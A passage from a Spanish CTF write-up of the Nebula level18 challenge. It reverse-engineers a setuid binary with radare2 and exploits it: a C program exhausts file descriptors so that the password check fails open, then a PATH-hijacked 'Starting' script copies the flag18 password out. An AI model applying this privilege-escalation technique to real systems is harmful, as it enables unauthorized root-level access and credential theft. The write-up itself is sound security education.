004 0x00000670 0x08048670 GLOBAL   FUNC   16 imp.fgets
005 0x00000680 0x08048680 GLOBAL   FUNC   16 imp.fclose
006 0x00000690 0x08048690 GLOBAL   FUNC   16 imp.__stack_chk_fail
007 0x000006a0 0x080486a0 GLOBAL   FUNC   16 imp.geteuid
008 0x000006b0 0x080486b0 GLOBAL   FUNC   16 imp.err
009 0x000006c0 0x080486c0 GLOBAL   FUNC   16 imp.getegid
010 0x000006d0 0x080486d0 GLOBAL   FUNC   16 imp.fwrite
011 0x000006e0 0x080486e0 GLOBAL   FUNC   16 imp.puts
013 0x00000700 0x08048700 GLOBAL   FUNC   16 imp.strchr
015 0x00000720 0x08048720 GLOBAL   FUNC   16 imp.execve
016 0x00000730 0x08048730 GLOBAL   FUNC   16 imp.getopt
017 0x00000740 0x08048740 GLOBAL   FUNC   16 imp.setvbuf
018 0x00000750 0x08048750 GLOBAL   FUNC   16 imp.fopen
019 0x00000760 0x08048760 GLOBAL   FUNC   16 imp.asprintf
020 0x00000770 0x08048770 GLOBAL   FUNC   16 imp.__fprintf_chk
021 0x00000780 0x08048780 GLOBAL   FUNC   16 imp.setresgid
022 0x00000790 0x08048790 GLOBAL   FUNC   16 imp.strncmp
023 0x000007a0 0x080487a0 GLOBAL   FUNC   16 imp.__sprintf_chk
[0x08048b90]> axt sym.imp.execve
main 0x8048b37 [CALL] call sym.imp.execve

Hemos abreviado aquí algunas líneas, pero existen varios detalles importantes a destacar: por un lado descubrimos las funciones locales login(), notsupported(), setuser() y por supuesto main(). Además, existe una variable globals (que es global, valga la redundancia) y cuyo tamaño es 12 bytes:

[0x08048b90]> pxw @ obj.globals
0x0804b0ac  0x00000000 0x00000000 0x00000000 0xffffffff  ................
...

Suponemos que obj.globals es un array de 12 bytes o algún tipo de estructura con tres campos enteros. Por último execve() es invocado desde main(), tracemos la ruta:

[0x08048b37]> pd -10 @ 0x08048b37+5
|       :   0x08048b0f      lea edx, [local_34h]                  ; 0x34 ; '4' ; 52
|       :   0x08048b13      mov dword [esp], edx
|       :   0x08048b16      call sym.setuser
|       `=< 0x08048b1b      jmp 0x80488d0
|           ; CODE XREF from main (0x80489c7)
|           0x08048b20      mov edx, dword [local_18h]                 ; [0x18:4]=-1 ; 24
|           0x08048b24      mov dword [esp], str.bin_sh                ; [0x8048f75:4]=0x6e69622f ; "/bin/sh"
|           0x08048b2b      mov dword [optstring], edx
|           0x08048b2f      mov edx, dword [local_1ch]                 ; [0x1c:4]=-1 ; 28
|           0x08048b33      mov dword [size], edx
|           0x08048b37      call sym.imp.execve

Vemos una referencia a esta sección de código desde 0x80489c7:

[0x08048b37]> pd -3 @ 0x080489c7+6
|           ; CODE XREFS from main (0x80489b1, 0x8048b75)
|           0x080489c0      mov eax, dword [0x804b0b4]                 ; [0x804b0b4:4]=0
|           0x080489c5      test eax, eax
|       ,=< 0x080489c7      jne 0x8048b20

Solo alcanzaremos execve() si el valor almacenado en la dirección 0x0804b0b4 (un entero de 4 bytes que coincidiría con el tercer campo de obj.globals) es distinto de 0. Averigüemos si esto es posible:

[0x08048b37]> axt 0x804b0b4
main 0x80489c0 [DATA] mov eax, dword [0x804b0b4]
main 0x8048a00 [DATA] mov dword [0x804b0b4], 0
sym.login 0x8048cea [DATA] mov dword [0x804b0b4], 1

Efectivamente hay alguna parte del código de login() donde se establece dicho valor a 1. Intuimos pués que 0x0804b0b4 es una variable o flag que representa si estamos autenticados en el sistema (la llamaremos logged). De momento podemos definir:

struct globals
{
    unknown;
    unknown;
    int logged;
}

Estudiamos login() a ver si podemos descubrir alguna vulnerabilidad:

[0x08048b37]> s sym.login
[0x08048c50]> pdf
/ (fcn) sym.login 241
|   sym.login (const char *arg_70h);
|           ; var char *size @ esp+0x4
|           ; var FILE *stream @ esp+0x8
|           ; var int local_ch @ esp+0xc
|           ; var char *s @ esp+0x1c
|           ; var int local_5ch @ esp+0x5c
|           ; var int local_60h @ esp+0x60
|           ; var int local_64h @ esp+0x64
|           ; var int local_68h @ esp+0x68
|           ; arg int arg_70h @ esp+0x70
|           ; CALL XREF from main (0x804897a)
|           0x08048c50      sub esp, 0x6c                              ; 'l'
|           0x08048c53      mov dword [local_60h], ebx
|           0x08048c57      mov dword [local_68h], edi
|           0x08048c5b      mov edi, dword [arg_70h]                   ; [0x70:4]=-1 ; 'p' ; 112
|           0x08048c5f      mov eax, dword gs:[0x14]                   ; [0x14:4]=-1 ; 20
|           0x08048c65      mov dword [local_5ch], eax
|           0x08048c69      xor eax, eax
|           0x08048c6b      mov dword [local_64h], esi
|           0x08048c6f      mov dword [size], 0x8048fba                ; [0x8048fba:4]=0x6e550072 ; const char *mode
|           0x08048c77      mov dword [esp], str.home_flag18_password  ; [0x8048ef0:4]=0x6d6f682f ; "/home/flag18/password" ; const char *filename
|           0x08048c7e      call sym.imp.fopen                         ; file*fopen(const char *filename, const char *mode)
|           0x08048c83      test eax, eax
|           0x08048c85      mov ebx, eax
|       ,=< 0x08048c87      je 0x8048cb5

Se llama a fopen("/home/flag18/password", "r"). Dejamos pendiente el caso en el que dicha llamada falla eax == 0, si todo va bien sigue así:

|       |   0x08048c89      lea esi, [s]                               ; 0x1c ; 28
|       |   0x08048c8d      mov dword [stream], eax                    ; FILE *stream
|       |   0x08048c91      mov dword [size], 0x3f                     ; '?' ; [0x3f:4]=-1 ; 63 ; int size
|       |   0x08048c99      mov dword [esp], esi                       ; char *s
|       |   0x08048c9c      call sym.imp.fgets                         ; char *fgets(char *s, int size, FILE *stream)
|       |   0x08048ca1      test eax, eax
|      ,==< 0x08048ca3      je 0x8048d18

Se leen hasta 63 (0x3f) caracteres del archivo /home/flag18/password y se almacenan en un buffer con capacidad para 64 bytes. Si fgets() fallase, se llamaría a fprintf() con la cadena "Unable to read password file /home/flag18/password\n" (siempre y cuando el primer campo de obj.globals sea distinto de 0) y se retorna. Cabe señalar que en esta llamada a fprintf() el descriptor de fichero es el mismo valor almacenado en obj.globals por lo que ahora tendríamos más información:

struct globals
{
    FILE *fd;
    unknown;
    int logged;
}

Si fgets() devuelve un valor distinto de 0 entonces llegamos a una comparación:

|      ||   0x08048ca5      mov dword [size], esi                      ; const char *s2
|      ||   0x08048ca9      mov dword [esp], edi                       ; const char *s1
|      ||   0x08048cac      call sym.imp.strcmp                        ; int strcmp(const char *s1, const char *s2)
|      ||   0x08048cb1      test eax, eax
|     ,===< 0x08048cb3      jne 0x8048cf4

Se ejecuta strcmp(password, arg), comparando el password recién leido de /home/flag18/password con el argumento recibido por login(). Caso de no coincidir la función retorna directamente, sino se llama a fprintf() con el string "logged in successfully (with password file)" (siempre y cuando globals.fd != NULL) y finalmente se establece nuestra buscada variable globals.logged a 1. Luego login() finaliza.

Ahora bien, y aquí queríamos llegar, el inicio de esta última sección de código (0x8048cb5), es casualmente la dirección utilizada por el salto que encontramos en la llamada a fopen() si esta fallaba:

|     |||   ; CODE XREF from sym.login (0x8048c87)
|     ||`-> 0x08048cb5      mov edx, dword [obj.globals]               ; [0x804b0ac:4]=0
|     ||    0x08048cbb      test edx, edx
|     ||,=< 0x08048cbd      je 0x8048cea
|     |||   0x08048cbf      mov eax, 0x8048f50
|     |||   0x08048cc4      test ebx, ebx
|     |||   0x08048cc6      mov ecx, 0x8048fa0
|     |||   0x08048ccb      cmovne eax, ecx
|     |||   0x08048cce      mov dword [local_ch], eax
|     |||   0x08048cd2      mov dword [stream], str.logged_in_successfully__with_s_password_file ; [0x8048fe0:4]=0x67676f6c ; "logged in successfully (with%s password file)\n"
|     |||   0x08048cda      mov dword [size], 1
|     |||   0x08048ce2      mov dword [esp], edx
|     |||   0x08048ce5      call sym.imp.__fprintf_chk
|     |||   ; CODE XREF from sym.login (0x8048cbd)
|     ||`-> 0x08048cea      mov dword [0x804b0b4], 1                   ; [0x804b0b4:4]=0
|     ||    ; CODE XREFS from sym.login (0x8048cb3, 0x8048d1f, 0x8048d41)
|    .`-.-> 0x08048cf4      mov eax, dword [local_5ch]                 ; [0x5c:4]=-1 ; '\' ; 92
|    : |:   0x08048cf8      xor eax, dword gs:[0x14]
|    :,===< 0x08048cff      jne 0x8048d43
|    :||:   0x08048d01      mov ebx, dword [local_60h]                 ; [0x60:4]=-1 ; '`' ; 96
|    :||:   0x08048d05      mov esi, dword [local_64h]                 ; [0x64:4]=-1 ; 'd' ; 100
|    :||:   0x08048d09      mov edi, dword [local_68h]                 ; [0x68:4]=-1 ; 'h' ; 104
|    :||:   0x08048d0d      add esp, 0x6c                              ; 'l'
|    :||:   0x08048d10      ret

Hagamos un intento de pseudocódigo para verlo todavía más claro:

login(char *password)
{
    char buffer[64];
    FILE *file;

    file = fopen("/home/flag18/password", "r");

    if (file != NULL)
    {
        if (fgets(buffer, 63, file) != 0)
        {
            if (globals.fd != NULL)
                fprintf(globals.fd, "Unable to read password file /home/flag18/password\n");
            return;
        }
   
        if (strcmp(buffer, password) != 0)
            return; 
    }

    if (globals.fd != NULL)
       fprintf(globals.fd, "logged in successfully (with%s password file)\n", 

    globals.logged = 1;
}

Si los ojos no nos engañan, quiere decir que podemos hacer que globals.logged sea igual a 1 siempre y cuando la llamada fopen("/home/flag18/password") falle. ¿Es esto posible? Por supuesto, fopen() devolverá error si todos los descriptores de fichero se encuentran ocupados. En un proceso normal:

Limit           Soft Limit   Hard Limit   Units
Max open files  1024         4096         files

1024 es el límite, contando con que habitualmente los tres primeros stdin, stdout y stderr ya se encuentran abiertos. Además, como todos los descriptores abiertos son heredados por los procesos hijos, podríamos hacer algo como lo siguiente:

while ((fd = dup(1)) != -1)
    ;
execve("/home/flag18/flag18");

./flag18 se encontraría con todos los descriptores de archivo ocupados, y cualquier llamada a fopen() fallaría.

Tan solo nos queda analizar main() y comprobar cómo podemos llamar a login() y posteriormente execve("/bin/sh"):

[0x080487b0]> pdf
|           ;-- section_end..plt:
|           ;-- section..text:
/ (fcn) main 971
|   main (int arg_8h, int arg_ch, int arg_10h);
|           ; var int local_ch @ ebp-0xc
|           ; arg int arg_8h @ ebp+0x8
|           ; arg int arg_ch @ ebp+0xc
|           ; arg int arg_10h @ ebp+0x10
|           ; var char * *size @ esp+0x4
|           ; var char *optstring @ esp+0x8
|           ; var size_t stream @ esp+0xc
|           ; var int local_18h @ esp+0x18
|           ; var int local_1ch @ esp+0x1c
|           ; var int local_2ch @ esp+0x2c
|           ; var int local_32h @ esp+0x32
|           ; var int local_34h @ esp+0x34
|           ; var int local_36h @ esp+0x36
|           ; var int local_12ch @ esp+0x12c
|           ; DATA XREF from entry0 (0x8048ba7)
|           0x080487b0      push ebp                                   ; [13] -r-x section size 1820 named .text
|           0x080487b1      mov ebp, esp
|           0x080487b3      push edi
|           0x080487b4      push esi
|           0x080487b5      push ebx
|           0x080487b6      and esp, 0xfffffff0
|           0x080487b9      sub esp, 0x130
|           0x080487bf      mov edx, dword [arg_ch]                    ; [0xc:4]=-1 ; 12
|           0x080487c2      mov eax, dword gs:[0x14]                   ; [0x14:4]=-1 ; 20
|           0x080487c8      mov dword [local_12ch], eax
|           0x080487cf      xor eax, eax
|           0x080487d1      mov ebx, dword [arg_8h]                    ; [0x8:4]=-1 ; 8
|           0x080487d4      mov dword [local_1ch], edx
|           0x080487d8      mov edx, dword [arg_10h]                   ; [0x10:4]=-1 ; 16
|           0x080487db      mov dword [local_18h], edx
|           0x080487df      nop
|           ; CODE XREFS from main (0x8048802, 0x804880b, 0x8048852)
|     ...-> 0x080487e0      mov edx, dword [local_1ch]                 ; [0x1c:4]=-1 ; 28
|     :::   0x080487e4      mov dword [optstring], 0x8048f1b           ; [0x8048f1b:4]=0x763a64 ; const char *optstring
|     :::   0x080487ec      mov dword [esp], ebx                       ; int argc
|     :::   0x080487ef      mov dword [size], edx                      ; const char **argv
|     :::   0x080487f3      call sym.imp.getopt                        ; int getopt(int argc, const char **argv, const char *optstring)
|     :::   0x080487f8      cmp al, 0xff                               ; 255
|    ,====< 0x080487fa      je 0x8048858
|    |:::   0x080487fc      cmp al, 0x64                               ; 'd' ; 100
|   ,=====< 0x080487fe      je 0x8048810
|   ||:::   0x08048800      cmp al, 0x76                               ; 'v' ; 118
|   ||`===< 0x08048802      jne 0x80487e0
|   || ::   0x08048804      add dword [0x804b0b0], 1
|   || `==< 0x0804880b      jmp 0x80487e0

Como ya vimos al principio de nuestro anális de comportamiento, se llama a getopt(argc, argv, "d:v"). Si se encuentra -v entre las opciones de argumento, la variable en 0x0804b0b0 se incrementa en 1, esto coincide con la última incógnita de la estructura globals, con lo cual:

struct globals
{
    FILE *fd;
    int verbosity;
    int logged;
}

|   ||  :   ; CODE XREF from main (0x80487fe)
|   `-----> 0x08048810      mov eax, dword [obj.optarg]                ; [0x804b0a0:4]=0
|    |  :   0x08048815      mov dword [size], 0x8048f06                ; [0x8048f06:4]=0x55002b77 ; const char *mode
|    |  :   0x0804881d      mov dword [esp], eax                       ; const char *filename
|    |  :   0x08048820      call sym.imp.fopen                         ; file*fopen(const char *filename, const char *mode)
|    |  :   0x08048825      test eax, eax
|    |  :   0x08048827      mov dword [obj.globals], eax               ; [0x804b0ac:4]=0

En cambio, si se encuentra -d, se llama a fopen(optarg) y se guarda el descriptor de fichero en globals.fd.

Suprimimos el desensamblado de las llamadas setresgid(getegid(), getegid(), getegid()) y setresuid(geteuid(), geteuid(), geteuid()) y continuamos aquí:

|     :|    ; XREFS: CODE 0x0804897f  CODE 0x080489d4  CODE 0x080489fa  CODE 0x08048a0a  CODE 0x08048a58  CODE 0x08048b09  
|     :|    ; XREFS: CODE 0x08048b1b  CODE 0x08048b86  
| ....--.-> 0x080488d0      mov eax, dword [sym.stdin]                 ; obj.stdin ; [0x804b080:4]=0
| :::::|:   0x080488d5      mov dword [size], 0xff                     ; [0xff:4]=-1 ; 255 ; int size
| :::::|:   0x080488dd      mov dword [esp], ebx                       ; char *s
| :::::|:   0x080488e0      mov dword [optstring], eax                 ; FILE *stream
| :::::|:   0x080488e4      call sym.imp.fgets                         ; char *fgets(char *s, int size, FILE *stream)
| :::::|:   0x080488e9      test eax, eax
| ========< 0x080488eb      je 0x8048a88

Se entra en un bucle que lee comandos de la entrada estándar mediante fgets(). En caso positivo:

| :::::|:   0x080488f1      mov dword [size], 0xa                      ; int c
| :::::|:   0x080488f9      mov dword [esp], ebx                       ; const char *s
| :::::|:   0x080488fc      call sym.imp.strchr                        ; char *strchr(const char *s, int c)
| :::::|:   0x08048901      test eax, eax
| ========< 0x08048903      je 0x8048908
| :::::|:   0x08048905      mov byte [eax], 0
| --------> 0x08048908      mov dword [size], 0xd                      ; [0xd:4]=-1 ; 13 ; int c
| :::::|:   0x08048910      mov dword [esp], ebx                       ; const char *s
| :::::|:   0x08048913      call sym.imp.strchr                        ; char *strchr(const char *s, int c)
| :::::|:   0x08048918      test eax, eax
| ========< 0x0804891a      je 0x804891f
| :::::|:   0x0804891c      mov byte [eax], 0

Se suprimen los caracteres de retorno de carro y nueva línea en caso de encontrarse. Luego comienza una serie de comparaciones con los comandos introducidos:

...
...
| :::::|:   ; CODE XREFS from main (0x8048926, 0x804892f)
| --------> 0x0804894d      mov edi, str.login                         ; 0x8048f32 ; "login"
| :::::|:   0x08048952      mov ecx, 5
| :::::|:   0x08048957      mov esi, ebx
| :::::|:   0x08048959      repe cmpsb byte [esi], byte ptr es:[edi]   ; [0x170000001c:1]=255 ; 98784247836
| ========< 0x0804895b      jne 0x8048988
| :::::|:   0x0804895d      mov eax, dword [obj.globals]               ; [0x804b0ac:4]=0
| :::::|:   0x08048962      test eax, eax
| ========< 0x08048964      je 0x8048973
| :::::|:   0x08048966      cmp dword [0x804b0b0], 2                   ; [0x2:4]=-1 ; 2
| ========< 0x0804896d      jg 0x8048a60
| :::::|:   ; CODE XREFS from main (0x8048964, 0x8048a80)
| --------> 0x08048973      lea eax, [local_32h]                       ; 0x32 ; '2' ; 50
| :::::|:   0x08048977      mov dword [esp], eax
| :::::|:   0x0804897a      call sym.login
| ========< 0x0804897f      jmp 0x80488d0

El comando login xxxx (donde xxxx puede representar un password) nos conduce a login().

| :::::|:   ; CODE XREF from main (0x804895b)
| --------> 0x08048988      mov eax, str.logout                        ; 0x8048f4d ; "logout"
| :::::|:   0x0804898d      mov ecx, 6
| :::::|:   0x08048992      mov esi, ebx
| :::::|:   0x08048994      mov edi, eax
| :::::|:   0x08048996      repe cmpsb byte [esi], byte ptr es:[edi]   ; [0x170000001c:1]=255 ; 98784247836
| ========< 0x08048998      je 0x8048a00
...
...
..
| :::::|:   ; CODE XREFS from main (0x8048998, 0x8048a1b)
| --------> 0x08048a00      mov dword [0x804b0b4], 0                   ; [0x804b0b4:4]=0
| `=======< 0x08048a0a      jmp 0x80488d0

Si el comando es logout, entonces globals.logged se pone a 0.

| :::::|:   0x0804899a      mov edi, str.shell                         ; 0x8048f54 ; "shell"
| :::::|:   0x0804899f      mov ecx, 5
| :::::|:   0x080489a4      mov esi, ebx
| :::::|:   0x080489a6      repe cmpsb byte [esi], byte ptr es:[edi]   ; [0x170000001c:1]=255 ; 98784247836
| ========< 0x080489a8      jne 0x8048a10
| :::::|:   0x080489aa      mov eax, dword [obj.globals]               ; [0x804b0ac:4]=0
| :::::|:   0x080489af      test eax, eax
| ========< 0x080489b1      je 0x80489c0
| :::::|:   0x080489b3      cmp dword [0x804b0b0], 2                   ; [0x2:4]=-1 ; 2
| ========< 0x080489ba      jg 0x8048b55
| :::::|:   ; CODE XREFS from main (0x80489b1, 0x8048b75)
| --------> 0x080489c0      mov eax, dword [0x804b0b4]                 ; [0x804b0b4:4]=0
| :::::|:   0x080489c5      test eax, eax
| ========< 0x080489c7      jne 0x8048b20
...
...
|  |   |:   ; CODE XREF from main (0x80489c7)
| --------> 0x08048b20      mov edx, dword [local_18h]                 ; [0x18:4]=-1 ; 24
|  |   |:   0x08048b24      mov dword [esp], str.bin_sh                ; [0x8048f75:4]=0x6e69622f ; "/bin/sh"
|  |   |:   0x08048b2b      mov dword [optstring], edx
|  |   |:   0x08048b2f      mov edx, dword [local_1ch]                 ; [0x1c:4]=-1 ; 28
|  |   |:   0x08048b33      mov dword [size], edx
|  |   |:   0x08048b37      call sym.imp.execve

El comando shell, como ya vimos al principio, invoca a execve("/bin/sh") si globals.logged == 1.

...
...
|  ::::|:   ; CODE XREF from main (0x80489a8)
| --------> 0x08048a10      mov ecx, 4
|  ::::|:   0x08048a15      mov esi, ebx
|  ::::|:   0x08048a17      mov edi, eax
|  ::::|:   0x08048a19      repe cmpsb byte [esi], byte ptr es:[edi]   ; [0x170000001c:1]=255 ; 98784247836
| ========< 0x08048a1b      je 0x8048a00
|  ::::|:   0x08048a1d      mov dword [optstring], 8                   ; size_t n
|  ::::|:   0x08048a25      mov dword [size], str.closelog             ; [0x8048fa1:4]=0x736f6c63 ; "closelog" ; const char *s2
|  ::::|:   0x08048a2d      mov dword [esp], ebx                       ; const char *s1
|  ::::|:   0x08048a30      call sym.imp.strncmp                       ; int strncmp(const char *s1, const char *s2, size_t n)
|  ::::|:   0x08048a35      test eax, eax
| ,=======< 0x08048a37      jne 0x8048acf
| |::::|:   0x08048a3d      mov eax, dword [obj.globals]               ; [0x804b0ac:4]=0
| |::::|:   0x08048a42      test eax, eax
| ========< 0x08048a44      je 0x8048a4e
| |::::|:   0x08048a46      mov dword [esp], eax                       ; FILE *stream
| |::::|:   0x08048a49      call sym.imp.fclose                        ; int fclose(FILE *stream)
| |::::|:   ; CODE XREF from main (0x8048a44)
| --------> 0x08048a4e      mov dword [obj.globals], 0                 ; [0x804b0ac:4]=0
| |`======< 0x08048a58      jmp 0x80488d0

El comando closelog cerraría el descriptor de fichero almacenado en globals.fd si un archivo válido fue especificado con los argumentos -d archivo_de_log.

No analizaremos los comandos site exec" y setuser" por no ser relevantes para el vector de ataque que estamos estudiando. Un breve pseudocódigo puede servir de resumen:

main(argc, argv)
{
    char cmd[256];

    while ((c = getopt(argc, argv, "d:v")) != -1)
    {
        switch (c)
        {
            case "d":
                globals.fd = fopen(optarg, "w+");
                break;
            case "v":
                globals.verbosity++;
                break;
        }
    }

    while (fgets(cmd, 255, stdin) != 0)
    {
        if (cmd == "login")
            login(login_arg);
        else if (cmd == "logout")
            globals.logged = 0;
        else if (cmd == "shell")
        {
            if (globals.logged)
                execve("/bin/sh")
        }
        else if (cmd == "closelog")
            fclose(globals.fd);
    }
}

Se trata de un resumen burdo pero considerablemente aproximado. Ya tenemos todos los ingredientes necesarios para un exploit. Ocupar (denegar) todos los descriptores de fichero, llamar a execve("./flag18"), introducir el comando login y finalmente el comando shell. Probamos con:

#include <stdio.h>
#include <unistd.h>

extern char **environ;

int main()
{
        int fd;
        int count = 0;
        char* const args[] = {"/home/flag18/flag18", "-d", "/tmp/log", NULL};

        printf("[+] Duplicando descriptores...\n");
        while ((fd = dup(1)) != -1)
        {
                count++;
        }
 
        printf("[+] Descriptores abiertos: %d\n", count);
        printf("[+] Ejecutando /home/flag18/flag18...\n");
        execve(args[0], args, environ);
        fprintf(stderr, "[X] execve() error!!\n");
        _exit(1);
}

Y obtenemos:

level18@nebula:/tmp$ ./l18exploit
[+] Duplicando descriptores...
[+] Descriptores abiertos: 1021
[+] Ejecutando /home/flag18/flag18...
/home/flag18/flag18: error while loading shared libraries: libc.so.6: cannot open shared object file: Error 24

Debemos dejar un descriptor libre para que ./flag18 pueda abrir la librería dinámica libc. Para ello agregaremos la línea close(--count) inmediatamente después del bucle while. Ahora:

level18@nebula:/tmp$ ./l18exploit
[+] Duplicando descriptores...
[+] Descriptores abiertos: 1020
[+] Ejecutando /home/flag18/flag18...
login
shell
/home/flag18/flag18: error while loading shared libraries: libncurses.so.5: cannot open shared object file: Error 24

Parece que ./flag18 necesita otro descriptor de fichero abierto para libncurses, pero si nuestro binario no utiliza ncurses, ¿qué está pasando?:

level18@nebula:/tmp$ strace ./l18exploit 
execve("./l18exploit", ["./l18exploit"], [/* 19 vars */]) = 0
...
dup(1)                                  = 3
...
...
dup(1)                                  = 1023
dup(1)                                  = -1 EMFILE (Too many open files)
close(1020)                             = 0
write(1, "[+] Descriptores abiertos: 1020\n", 32[+] Descriptores abiertos: 1020
) = 32
write(1, "[+] Ejecutando /home/flag18/flag"..., 38[+] Ejecutando /home/flag18/flag18...
) = 38
execve("/home/flag18/flag18", ["/home/flag18/flag18", "-d", "/tmp/log"], [/* 19 vars */]) = 0
brk(0)                                  = 0x8a63000
...
close(1020)                             = 0
...
open("/tmp/dbg", O_RDWR|O_CREAT|O_TRUNC, 0666) = 1020
...
...
read(0, login
"login\n", 1024)                = 6
open("/home/flag18/password", O_RDONLY) = -1 EMFILE (Too many open files)
write(1020, "logged in successfully (without "..., 47) = 47
read(0, shell
"shell\n", 1024)                = 6
execve("/bin/sh", ["/home/flag18/flag18", "-d", "/tmp/log"], [/* 19 vars */]) = 0
...
...
writev(2, [{"/home/flag18/flag18", 19}, {": ", 2}, {"error while loading shared libra"..., 36}, {": ", 2}, {"libncurses.so.5", 15}, {": ", 2}, {"cannot open shared object file", 30}, {": ", 2}, {"Error 24", 8}, {"\n", 1}], 10/home/flag18/flag18: error while loading shared libraries: libncurses.so.5: cannot open shared object file: Error 24
) = 117

En realidad es /bin/sh quien no puede abrir libncurses.so.5. Ocurre que como /bin/sh es llamado con los mismos argumentos proporcionados a ./flag18 (entre ellos argv[0]), entonces el primero se muestra con el nombre del segundo :)

Siguiendo con nuestro ataque, podemos aprovechar el comando closelog para cerrar un descriptor de fichero y dejárselo libre a /bin/sh:

level18@nebula:/tmp$ ./l18exploit
[+] Duplicando descriptores...
[+] Descriptores abiertos: 1020
[+] Ejecutando /home/flag18/flag18...
login
closelog
shell
/home/flag18/flag18: -d: invalid option
Usage: /home/flag18/flag18 [GNU long option] [option] ...
 /home/flag18/flag18 [GNU long option] [option] script-file ...
GNU long options:
 --debug
 --debugger
 --dump-po-strings
 --dump-strings
 --help
 --init-file
 --login
 --noediting
 --noprofile
 --norc
 --posix
 --protected
 --rcfile
 --restricted
 --verbose
 --version
Shell options:
 -irsD or -c command or -O shopt_option  (invocation only)
 -abefhkmnptuvxBCHP or -o option

Ya estamos mucho más cerca, /bin/sh dice que no reconoce la opción de argumento -d. Aquí podemos aprovechar un pequeño truco: si utilizamos la opción --rcfile, la shell leerá los comandos a ejecutar de los archivos que acompañen a dicha opción (en nuestro caso /tmp/log). El exploit definitivo:

#include <stdio.h>
#include <unistd.h>

extern char **environ;

int main()
{
        int fd;
        int count = 0;
        char* const args[] = {"/home/flag18/flag18", "--rcfile", "-d", "/tmp/log", NULL};

        printf("[+] Duplicando descriptores...\n");
        while ((fd = dup(1)) != -1)
        {
                count++;
        }
        close(--count); //  open("libc.so.6")

        printf("[+] Descriptores abiertos: %d\n", count);
        printf("[+] Ejecutando /home/flag18/flag18...\n");
        execve(args[0], args, environ);
        fprintf(stderr, "[X] execve() error!!\n");
        _exit(1);
}

Lo ejecutamos:

level18@nebula:/tmp$ ./l18exploit 
[+] Duplicando descriptores...
[+] Descriptores abiertos: 1020
[+] Ejecutando /home/flag18/flag18...
/home/flag18/flag18: invalid option -- '-'
/home/flag18/flag18: invalid option -- 'r'
/home/flag18/flag18: invalid option -- 'c'
/home/flag18/flag18: invalid option -- 'f'
/home/flag18/flag18: invalid option -- 'i'
/home/flag18/flag18: invalid option -- 'l'
/home/flag18/flag18: invalid option -- 'e'
login
closelog
shell
/tmp/log: line 1: Starting: command not found
/tmp/log: line 2: syntax error near unexpected token `('
/tmp/log: line 2: `logged in successfully (without password file)'

/bin/sh intenta ejecutar el comando Starting, que coincide exactamente con la primera palabra contenida dentro de /tmp/log:

level18@nebula:/tmp$ cat /tmp/log
Starting up. Verbose level = 0
logged in successfully (without password file)

Con lo cual ya solo queda crear en /tmp un script de nombre Starting con permisos de ejecución, y establecer la variable $PATH a este mismo directorio mediante export PATH=/tmp:$PATH.

#!/bin/sh

cat /home/flag18/password > /tmp/flag18pass

Pinto Pinto Gorgorito...

level18@nebula:/tmp$ ./l18exploit 
[+] Duplicando descriptores...
[+] Descriptores abiertos: 1020
[+] Ejecutando /home/flag18/flag18...
/home/flag18/flag18: invalid option -- '-'
/home/flag18/flag18: invalid option -- 'r'
/home/flag18/flag18: invalid option -- 'c'
/home/flag18/flag18: invalid option -- 'f'
/home/flag18/flag18: invalid option -- 'i'
/home/flag18/flag18: invalid option -- 'l'
/home/flag18/flag18: invalid option -- 'e'
login
closelog
shell
/tmp/log: line 2: syntax error near unexpected token `('
/tmp/log: line 2: `logged in successfully (without password file)'
level18@nebula:/tmp$ cat flag18pass
44226113-d394-4f46-9406-91888128e27a

Pwned!

Protostar CTF - stack5

En ./stack5 continuamos con la dinámica de los dos últimos retos: dpc@kernelinside:~/protostar/bin$ ./stack5 test dpc@kernelinside:~/p...